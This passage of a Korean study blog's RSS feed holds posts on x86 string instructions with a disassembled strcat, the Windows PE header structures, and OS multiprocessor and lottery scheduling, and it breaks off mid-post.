&lt;P&gt;&amp;nbsp;BYTE 단위로 비교&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD style=&quot;HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 143px; BORDER-BOTTOM: #ccc 1px solid; BORDER-LEFT: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;scasw&lt;/P&gt;&lt;/TD&gt;
&lt;TD style=&quot;HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 327px; BORDER-BOTTOM: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;WORD 단위로 비교&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD style=&quot;HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 143px; BORDER-BOTTOM: #ccc 1px solid; BORDER-LEFT: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;scasd&lt;/P&gt;&lt;/TD&gt;
&lt;TD style=&quot;HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 327px; BORDER-BOTTOM: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;DWORD 단위로 비교&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;TABLE class=txc-table style=&quot;FONT-SIZE: 13px; BORDER-TOP: medium none; FONT-FAMILY: '맑은 고딕',sans-serif; BORDER-RIGHT: medium none; WIDTH: 464px; BORDER-COLLAPSE: collapse; BORDER-BOTTOM: medium none; BORDER-LEFT: medium none&quot; cellSpacing=0 cellPadding=0 width=464 border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD style=&quot;BORDER-TOP: #ccc 1px solid; HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 138px; BORDER-BOTTOM: #ccc 1px solid; BORDER-LEFT: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;movs&amp;nbsp;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style=&quot;BORDER-TOP: #ccc 1px solid; HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 325px; BORDER-BOTTOM: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;출발지에서 목적지로 데이터를 복사한다. (movs destination, source)&amp;nbsp;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD style=&quot;HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 138px; BORDER-BOTTOM: #ccc 1px solid; BORDER-LEFT: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;movsb&lt;/P&gt;&lt;/TD&gt;
&lt;TD style=&quot;HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 325px; BORDER-BOTTOM: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;BYTE 단위로 복사&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD style=&quot;HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 138px; BORDER-BOTTOM: #ccc 1px solid; BORDER-LEFT: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;movsw&lt;/P&gt;&lt;/TD&gt;
&lt;TD style=&quot;HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 325px; BORDER-BOTTOM: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;WORD 단위로 복사&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD style=&quot;HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 138px; BORDER-BOTTOM: #ccc 1px solid; BORDER-LEFT: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;movsd&lt;/P&gt;&lt;/TD&gt;
&lt;TD style=&quot;HEIGHT: 24px; BORDER-RIGHT: #ccc 1px solid; WIDTH: 325px; BORDER-BOTTOM: #ccc 1px solid&quot;&gt;
&lt;P&gt;&amp;nbsp;DWORD 단위로 복사&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;H3&gt;strcat의 구조&lt;/H3&gt;&lt;PRE class=brush:plain&gt;or ecx, FFFFFFFF
xor eax, eax
lea edx, dword ptr ss:[esp+C]
repne scas byte ptr es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, FFFFFFFF
repne scas byte ptr es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movs dword ptr es:[edi], dword ptr ds:[esi]
mov ecx, ebx
lea eax, dword ptr ss:[esp+C]
and ecx, 3
push eax
rep movs byte ptr es:[edi], byte ptr ds:[esi]
&lt;/PRE&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;1.&amp;nbsp;src 문자열 길이 구함, 값 저장&amp;nbsp;(1 ~ 9)&lt;/P&gt;
&lt;P&gt;2. dest 문자열 길이 구함 (10 ~ 12)&lt;/P&gt;
&lt;P&gt;3. dest 문자열의 null뺀 부분부터 src로부터 복사해넣음 (13 ~ 20)&lt;/P&gt;</description>
      <category>리버스 엔지니어링 바이블</category>
      <category>리버싱 중급</category>
      <author>st4rbuucks</author>
      <guid isPermaLink="true">https://yongy0ng2.tistory.com/64</guid>
      <comments>https://yongy0ng2.tistory.com/64#entry64comment</comments>
      <pubDate>Sat, 10 Nov 2018 22:02:16 +0900</pubDate>
    </item>
    <item>
      <title>05 PE 헤더 (PE Header)</title>
      <link>https://yongy0ng2.tistory.com/63</link>
      <description>&lt;P&gt;PE파일을 생성하는 과정 : 소스 파일 &amp;amp; 헤더 파일&amp;nbsp;-&amp;gt; 기계어 코드 (obj 파일) -&amp;gt; 링킹 (동적 라이브러리, 리소스 데이터, 임포트, 익스포트 테이블 처리 정보 어딘가에 적어둔다) -&amp;gt; PE 포맷의 파일&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;PE Header에는 실행 파일을 실행하기 위한 각종 정보가 기록돼 있어서 이 부분이 깨질 경우 파일 로딩 단계부터 실패하여 실행이 되지 않음.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;PE의 구조&lt;/P&gt;&lt;PRE class=&quot;brush:plain gutter:false&quot;&gt;IMAGE_DOS_HEADER
IMAGE_NT_HEADER
IMAGE_FILE_HEADER
IMAGE_OPTIONAL_HEADER
IMAGE_SECTION_HEADER
IMAGE_IMPORT_HEADER
IMAGE_EXPORT_HEADER
IMAGE_IMPORT_BY_NAME
IMAGE_THUNK_DATA32
&lt;/PRE&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;H3&gt;IMAGE_DOS_HEADER&lt;/H3&gt;&lt;PRE class=&quot;brush:plain gutter:false&quot;&gt;typedef struct _IMAGE_DOS_HEADER {  // DOS .EXE header
    WORD e_magic;         // Magic number
    WORD e_cblp;          // Bytes on last page of file
    WORD e_cp;            // Pages in file
    WORD e_crlc;          // Relocations
    WORD e_cparhdr;       // Size of header in paragraphs
    WORD e_minalloc;      // Minimum extra paragraphs needed
    WORD e_maxalloc;      // Maximum extra paragraphs needed
    WORD e_ss;            // Initial (relative) SS value
    WORD e_sp;            // Initial SP value
    WORD e_csum;          // Checksum
    WORD e_ip;            // Initial IP value
    WORD e_cs;            // Initial (relative) CS value
    WORD e_lfarlc;        // File address of relocation table
    WORD e_ovno;          // Overlay number
    WORD e_res[4];        // Reserved words
    WORD e_oemid;         // OEM identifier (for e_oeminfo)
    WORD e_oeminfo;       // OEM information; e_oemid specific
    WORD e_res2[10];      // Reserved wordscal
    LONG   e_lfanew;        // File address of new exe header
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
&lt;/PRE&gt;
&lt;P&gt;e_magic : 0x5A4D (IMAGE_DOS_SIGNATURE)&lt;/P&gt;
&lt;P&gt;e_lfanew : IMAGE_NT_HEADER의 구조체 위치&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;H3&gt;IMAGE_NT_HEADER&lt;/H3&gt;&lt;PRE class=&quot;brush:plain gutter:false&quot;&gt;typedef struct _IMAGE_NT_HEADERS {
  DWORD                   Signature;
  IMAGE_FILE_HEADER       FileHeader;
  IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
&lt;/PRE&gt;
&lt;P&gt;Signature : &quot;PE\0\0&quot;&lt;/P&gt;
&lt;P&gt;&lt;A class=tx-link href=&quot;https://docs.microsoft.com/ko-kr/windows/desktop/api/winnt/ns-winnt-_image_nt_headers&quot; target=_blank&gt;참고 : _IMAGE_NT_HEADERS | Microsoft Docs&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;H3&gt;IMAGE_FILE_HEADER&lt;/H3&gt;&lt;PRE class=&quot;brush:plain gutter:false&quot;&gt;typedef struct _IMAGE_FILE_HEADER {
  WORD  Machine;
  WORD  NumberOfSections;
  DWORD TimeDateStamp;
  DWORD PointerToSymbolTable;
  DWORD NumberOfSymbols;
  WORD  SizeOfOptionalHeader;
  WORD  Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
&lt;/PRE&gt;
&lt;P&gt;Machine : 어떤 CPU에서 이 파일이 실행될 수 있는지 보여줌&lt;/P&gt;
&lt;P&gt;NumberOfSections : 섹션의 개수 (섹선 : .text .data ....)&lt;/P&gt;
&lt;P&gt;TimeDateStamp : 이 파일을 빌드한 날짜 (obj -&amp;gt; exe)&lt;/P&gt;
&lt;P&gt;SizeOfOptionalHeader : IMAGE_OPTIONAL_HEADER32의 구조체 크기&lt;/P&gt;
&lt;P&gt;Characteristics : 현재 파일의 형식 (DLL인지 EXE인지 구분하는데 많이 사용)&lt;/P&gt;
&lt;P&gt;참고 : &lt;A class=tx-link href=&quot;https://docs.microsoft.com/ko-kr/windows/desktop/api/winnt/ns-winnt-_image_file_header&quot; target=_blank&gt;_IMAGE_FILE_HEADER | Microsoft Docs&lt;/A&gt;&lt;/P&gt;
&lt;H3&gt;IMAGE_OPTIONAL_HEADER&lt;/H3&gt;&lt;PRE class=&quot;brush:plain gutter:false&quot;&gt;typedef struct _IMAGE_OPTIONAL_HEADER {
  // Standard fields.
  WORD                 Magic;
  BYTE                 MajorLinkerVersion;
  BYTE                 MinorLinkerVersion;
  DWORD                SizeOfCode;
  DWORD                SizeOfInitializedData;
  DWORD                SizeOfUninitializedData;
  DWORD                AddressOfEntryPoint;
  DWORD                BaseOfCode;
  DWORD                BaseOfData;
  // NT additional fields.
  DWORD                ImageBase;
  DWORD                SectionAlignment;
  DWORD                FileAlignment;
  WORD                 MajorOperatingSystemVersion;
  WORD                 MinorOperatingSystemVersion;
  WORD                 MajorImageVersion;
  WORD                 MinorImageVersion;
  WORD                 MajorSubsystemVersion;
  WORD                 MinorSubsystemVersion;
  DWORD                Win32VersionValue;
  DWORD                SizeOfImage;
  DWORD                SizeOfHeaders;
  DWORD                CheckSum;
  WORD                 Subsystem;
  WORD                 DllCharacteristics;
  DWORD                SizeOfStackReserve;
  DWORD                SizeOfStackCommit;
  DWORD                SizeOfHeapReserve;
  DWORD                SizeOfHeapCommit;
  DWORD                LoaderFlags;
  DWORD                NumberOfRvaAndSizes;
  IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
&lt;/PRE&gt;
&lt;P&gt;&lt;A class=tx-link href=&quot;https://docs.microsoft.com/ko-kr/windows/desktop/api/winnt/ns-winnt-_image_optional_header&quot; target=_blank&gt;참고 : _IMAGE_OPTIONAL_HEADER | Microsoft Docs&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;Magic : 32비트에서는 0x10B, 64비트에서는 0x20B&lt;/P&gt;
&lt;P&gt;SizeOfCode : 코드 양의 전체 크기&lt;/P&gt;
&lt;P&gt;MajorLinkerVersion, MinorLinkerVersion : 컴파일러의 버전 정보&lt;/P&gt;
&lt;P&gt;ImageBase : 해당 파일이 실행될때 가상메모리에 올라가는 번지&lt;/P&gt;
&lt;P&gt;AddressOfEntryPoint : 실제 파일이 메모리에서 실행되는 시작 지점&lt;/P&gt;
&lt;P&gt;BaseOfCode : 코드 영역이 시작되는 베이즈 주소 (ImageBase로부터 상대적인 값)&lt;/P&gt;
&lt;P&gt;SectionAlignment, FileAlignment : 각 섹션의 정렬 단위 (실제 크기가 이보다 작으면 0x0으로 패딩)&lt;/P&gt;
&lt;P&gt;SizeOfImage : 이 파일이 메모리에 로딩되었을때 전체 크기, 로더가 이 값을 보고 공간을 확보해놓음&lt;/P&gt;
&lt;P&gt;SizeOfHeaders : PE헤더의 크기 (ms docs 참고)&lt;/P&gt;
&lt;P&gt;Subsystem : 프로그램이 GUI(0x2)인지 콘솔(0x3)인지 알려준다(ms docs 참고)&lt;/P&gt;
&lt;P&gt;DataDirectory : 첫번째 IMAGE_DATA_DIRECTORY 구조체를 가리키는 포인터&lt;/P&gt;&lt;PRE class=&quot;brush:plain gutter:false&quot;&gt;typedef struct _IMAGE_DATA_DIRECTORY {
  DWORD VirtualAddress;
  DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
&lt;/PRE&gt;
&lt;P&gt;IMAGE_NUMBEROF_DIRECTORY_ENTRIES는 16이고, 배열의 원소들은 다음과 같다.&lt;/P&gt;&lt;PRE class=&quot;brush:plain gutter:false&quot;&gt;#define PE_EXPORT_DIRECTORY 0
#define PE_IMPORT_DIRECTORY 1
#define PE_RESOURCE_DIRECTORY 2
#define PE_EXCEPTION_DIRECTORY 3
#define PE_SECURITY_DIRECTORY 4
#define PE_RELOCATION_DIRECTORY 5
#define PE_DEBUG_DIRECTORY 6
#define PE_DESCRIPTION_DIRECTORY 7
#define PE_SPECIAL_DIRECTORY 8
#define PE_THREAD_LOCAL_STORAGE_DIRECTORY 9
#define PE_LOAD_CONFIGURATION_DIRECTORY 10
#define PE_BOUND_IMPORT_DIRECTORY 11
#define PE_IMPORT_ADDRESS_TABLE_DIRECTORY 12
#define PE_DELAY_IMPORT_TABLE 13
#define PE_CLR_RUNTIME_DIRECTORY 14
#define PE_RESERVED_DIRECTORY 15
&lt;/PRE&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;H3&gt;IMAGE_SECTION_HEADER&lt;/H3&gt;&lt;PRE class=&quot;brush:plain gutter:false&quot;&gt;#define IMAGE_SIZEOF_SHORT_NAME        8

typedef struct _IMAGE_SECTION_HEADER {
  BYTE  Name[IMAGE_SIZEOF_SHORT_NAME];
  union {
    DWORD PhysicalAddress;
    DWORD VirtualSize;
  } Misc;
  DWORD VirtualAddress;
  DWORD SizeOfRawData;
  DWORD PointerToRawData;
  DWORD PointerToRelocations;
  DWORD PointerToLinenumbers;
  WORD  NumberOfRelocations;
  WORD  NumberOfLinenumbers;
  DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
&lt;/PRE&gt;
&lt;P&gt;&lt;A class=tx-link href=&quot;https://docs.microsoft.com/ko-kr/windows/desktop/api/winnt/ns-winnt-_image_section_header#members&quot; target=_blank&gt;참고 : _IMAGE_SECTION_HEADER | Microsoft Docs&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;각 섹션에 대한 이름, 시작 주소, 사이즈 등의 정보를 관리하는 구조체&lt;/P&gt;
&lt;P&gt;※ IMAGE_FILE_HEADER에 NumberOfSections 값이 있다. 이를 이용하여 반복문을 통해 모든 섹션의 정보를 뽑아낼 수 있음.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Characteristics는 다음 값들이&amp;nbsp;OR 연산된 형태로 저장된다.&lt;/P&gt;&lt;PRE class=&quot;brush:plain gutter:false&quot;&gt;IMAGE_SCN_CNT_CODE
IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_CNT_UNINITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_NOT_CACHED
IMAGE_SCN_MEM_NOT_PAGED
IAMGE_SCN_MEM_SHARED
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ
IMAGE_SCN_MEM_WRITE
&lt;/PRE&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;H3&gt;IAT 관련&lt;/H3&gt;&lt;PRE class=&quot;brush:plain gutter:false&quot;&gt;typedef struct _IMAGE_IMPORT_DESCRIPTOR {
  union [
    DWORD Characteristics;
    DWORD OriginalFirstThunk;
  };
  DWORD TimeDateStamp;
  DWORD ForwarderChain;
  DWORD Name;
  DWORD FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

typedef struct _IMAGE_THUNK_DATA32 {
  union {
    DWORD ForwarderString;	// PBYTE
    DWORD Function;	// PDWORD
    DWORD Ordinal;
    DWORD AddressOfData;	// PIMAGE_IMPORT_BY_NAME
  } u1;
} IMAGE_THUNK_DATA32;
typedef IMAGE_THUNK_DATA32 *PIMAGE_THUNK_DATA32;

typedef struct _IMAGE_IMPORT_BY_NAME {
  WORD Hint;
  BYTE Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
&lt;/PRE&gt;
&lt;P&gt;import되는 dll 한개마다 IMAGE_IMPORT_DESCRIPTOR가 하나씩 생긴다. (Name에 그 이름이 적힘)&lt;/P&gt;
&lt;P&gt;OriginalFirstThunk가 가리키는 위치로 가보면 그 DLL에서 import되는 함수에 대한 주소가 하나씩 적혀있고 각 주소는 IMAGE_THUNK_DATA32의 구조체로 이루어져있다. 거기에서 AddressOfData는 IMAGE_IMPORT_BY_NAME구조체를 가리키고 여기에 그 함수의 이름이 적혀있다.&lt;/P&gt;</description>
      <category>리버스 엔지니어링 바이블</category>
      <category>PE header</category>
      <category>리버싱 중급</category>
      <author>st4rbuucks</author>
      <guid isPermaLink="true">https://yongy0ng2.tistory.com/63</guid>
      <comments>https://yongy0ng2.tistory.com/63#entry63comment</comments>
      <pubDate>Sat, 10 Nov 2018 19:12:39 +0900</pubDate>
    </item>
    <item>
      <title>10 Multiprocessor Scheduling (Advanced)</title>
      <link>https://yongy0ng2.tistory.com/62</link>
      <description>&lt;P&gt;thread를 이용하여 응용 프로그램을 parallel하게 실행, 성능을 개선시켰다.&lt;/P&gt;
&lt;P&gt;하지만 이럴 경우 문제점이 발생한다.&lt;/P&gt;
&lt;P&gt;cache는 CPU가 가지는 작고 빠른 메모리인데 main memory에서 자주 사용되는 데이터의 복사본을 저장한다.&lt;/P&gt;
&lt;P&gt;현재 사용중인 데이터의 근처에 있는 정보를 주로 저장하는데 이는 locality에 기반한 결과이다.&lt;/P&gt;
&lt;P&gt;temporal locality와 spatial locality의 두 종류가 있다.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: center; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 450px; HEIGHT: 272px; WIDTH: 450px; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/992816455BD00C3C19&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F992816455BD00C3C19&quot; width=&quot;450&quot; height=&quot;272&quot; filename=&quot;os7.PNG&quot; filemime=&quot;image/jpeg&quot; style=&quot;HEIGHT: 272px; WIDTH: 450px&quot;/&gt;&lt;/span&gt;&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: center; CLEAR: none&quot;&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;CPU는 이렇게 main memory를 공유하는데 만약 두 CPU에서 각각 실행중인 두 개의 프로그램이 동시간에 특정 메모리의 값을 읽어오고 수정하는 작업을 한다면?&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;그 값을 각자의 cache에 저장한뒤 수정하는 등의 작업을 수행하기 때문에 이상한 결과가 초래될 것이다.&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;이러한 문제를 cache coherence라고 부르는데&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;이를 방지하기 위해서 bus snooping이라는 기법을 사용한다.&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;cache가 자신과 main memory를 연결하는 bus를 계속 모니터링해서 자신이 사용하는 메모리 영역의 값에 변화가 발생하면 자신이 가지고 있는 복사본의 값을 변경(갱신)시키거나 invalidate 시킨다.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;두 CPU의 thread가 동시에 특정 값이나 루틴에 접근하지 못하도록 하는 lock 기능을 사용할 수도 있다.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;mulitprocessor cache scheduler에서 고려해야 할 문제점은 cache affinity이다.&lt;/P&gt;
&lt;P&gt;한 프로그램이 여러 CPU를 왔다갔다하면서 실행된다면 그때마다 cache값을 새로 세팅해줘야하기 때문에 비효율적이라는 것이다.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;H3&gt;단일 큐 스케줄링 (single queue multiprocessor scheduling, SQMS)&lt;/H3&gt;
&lt;P&gt;이 방식은 단일 processor scheduling의 기본 프레임워크를 그대로 사용하는 방식이다.&lt;/P&gt;
&lt;P&gt;scheduler는 일정 형태의 lock을 코드에 삽입하여 프로그램이 올바르게 작동하도록 한다.&lt;/P&gt;
&lt;P&gt;하지만&amp;nbsp;이러한 방식은&amp;nbsp;CPU 개수가 늘어날수록 시스템이 lock을 위해 소요되는 시간이 늘어나 scalability(확장성)이 좋지 않다.&lt;/P&gt;
&lt;P&gt;큐에 있는 작업을 단순히 여러 CPU에 나눠주는 방식은 cache affinity 측면에서 심각한 손실을 초래할 수 있기에 작업 분산 정책도 사용한다. (아래의 그림처럼)&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: center; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 423px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/998B06455BD013612A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F998B06455BD013612A&quot; width=&quot;423&quot; height=&quot;180&quot; filename=&quot;0s8.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: justify; CLEAR: none&quot;&gt;&lt;/P&gt;
&lt;H3&gt;멀티 큐 스케줄링 (multi-queue multiprocessor scheduling, MQMS)&lt;/H3&gt;
&lt;P&gt;CPU마다 큐를 하나씩 두는 등, 여러 개의 큐를 사용하는 방식이다.&lt;/P&gt;
&lt;P&gt;CPU마다 큐를 별개로 두고 각각의 CPU가 자신의 큐에 있는 작업만 수행한다면 캐시 친화적이고 확장성을 걱정할 필요가 없다.&lt;/P&gt;
&lt;P&gt;하지만 여러 큐에 들어있는 작업의 개수가 달라지면 workload imbalance 가 발생할 수도 있다.&lt;/P&gt;
&lt;P&gt;이를 해결하기 위해 scheduler는 적당한 migration 정책을 사용한다.&lt;/P&gt;
&lt;P&gt;큐가 다른 큐들을 검사하여 자신의 작업 개수보다 많은 수의 작업을 보유한 큐를 발견하게 된다면 그 큐에서 하나 이상의 작업을 가져오는 work stealing 기법을 이용할 수 있다.&lt;/P&gt;
&lt;P&gt;물론 이러한 검사를 너무 자주할 경우 오버로드가 높아져 확장성이 낮아질 수 있고 검사를 너무 드물게 한다면 workload imbalance가 초래되기 때문에 그 주기는 아주 적절하게 설정해야 한다.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;H3&gt;Linux 멀티프로세서 스케줄러&lt;/H3&gt;
&lt;P&gt;O(1) 스케줄러, Completely Fair Scheduler(CFS), BF Scheduler(BFS) 등이 있다.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;O(1)과 CFS는 멀티 큐를 사용하고 BFS는 단일 큐를 사용한다.&lt;/P&gt;
&lt;P&gt;O(1)은 priority-based 방식이고 CFS는 proportional share 방식이다.&lt;/P&gt;
&lt;P&gt;nice값이라는 것을 설정해서 사용하기도 한다.&lt;/P&gt;
&lt;P&gt;CPU를 빨리 양도하는 프로그램은 nice값이 크고 그렇지 않은 프로그램은 nice값이 작다.&lt;/P&gt;</description>
      <category>Operating Systems: Three Easy Pieces</category>
      <category>OS</category>
      <category>Scheduling</category>
      <author>st4rbuucks</author>
      <guid isPermaLink="true">https://yongy0ng2.tistory.com/62</guid>
      <comments>https://yongy0ng2.tistory.com/62#entry62comment</comments>
      <pubDate>Wed, 24 Oct 2018 15:48:15 +0900</pubDate>
    </item>
    <item>
      <title>09 Scheduling: Proportional Share</title>
      <link>https://yongy0ng2.tistory.com/61</link>
      <description>&lt;P&gt;proportional share란? : 모든 작업의 반환시간이나 응답시간을 최적화하는 대신 scheduler가 일정비율의 CPU 사용시간을 보장하는 것이 목적&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;H3&gt;lottery scheduling&lt;/H3&gt;
&lt;P&gt;CPU 사용 시간을 비례적으로 제공하기 위해 ticket이라는 개념을 사용한다.&lt;/P&gt;
&lt;P&gt;모든 프로세스는 ticket을 나눠 가진다.&lt;/P&gt;
&lt;P&gt;예시를 통해 이해해보자.&lt;/P&gt;
&lt;P&gt;프로세스 A는 75장의 ticket을 가지고 프로세스 B는 25장의 ticket을 가진다.&lt;/P&gt;
&lt;P&gt;scheduler는 0부터 99까지의 수 중 하나를 랜덤하게 고른다.&lt;/P&gt;
&lt;P&gt;만약 그 수가 0에서 74사이의 수라면 프로세스 A를 실행시키고 75에서 99사이의 수라면 프로세스 B를 실행시키는 방식이다.&lt;/P&gt;
&lt;P&gt;이 방식을 통해 두 프로세스는 보유한 ticket의 수에 비례해 CPU를 사용할 수 있다.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;ticket currency의 개념이 있다.&lt;/P&gt;
&lt;P&gt;local ticket currency를 global currency로 전환해줄 수 있다. 다음 그림을 보고 이해하자.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P style=&quot;FLOAT: none; TEXT-ALIGN: center; CLEAR: none&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 510px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C450485BCF4F3510&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C450485BCF4F3510&quot; width=&quot;510&quot; height=&quot;59&quot; filename=&quot;os3.PNG&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;User A는 두 프로세스에게 각각 500장의 ticket을 할당했고 User B는 한 프로세스에게 10장의 ticket을 할당했다.&lt;/P&gt;
&lt;P&gt;그렇다고 해서 scheduler가 이 세작업을 500 : 500 : 10의 비율로 실행시키는 것이 아니라는 것이다.&lt;/P&gt;
&lt;P&gt;User A의 두 프로세스는 global currency 기준으로 50장씩의 ticket을 나눠가지고 User B의 프로세스는 100장의 global currency ticket을 가지게 된다.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;이외에도 프로세스가 다른 프로세스에게 ticket을 넘겨줄 수 있는 ticket transfer 기능도 있다. 이 기능은 서로 작업을 번갈아가며 수행하는 경우가 많은 server-client 프로세스 간에 많이 사용된다.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;프로세스가 일시적으로 자신이 보유한 ticket의 양을 부풀려버리는 ticket inflation 기능도 있다. 일시적으로 CPU 기능을 많이 필요로 할 때 주로 사용되며 여러 프로세스 간 높은 신뢰가 형성된 상태에서 유용하다. 그렇지 않다면 한 프로세스가 CPU를 독점할 수도 있다.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;구현방식은 다음과 같다.&lt;/P&gt;
&lt;P&gt;프로세스의 티켓 수를 저장하는 노드가 연결리스트로 연결되어있다고 생각하고 아래의 코드를 살펴보자.&lt;/P&gt;
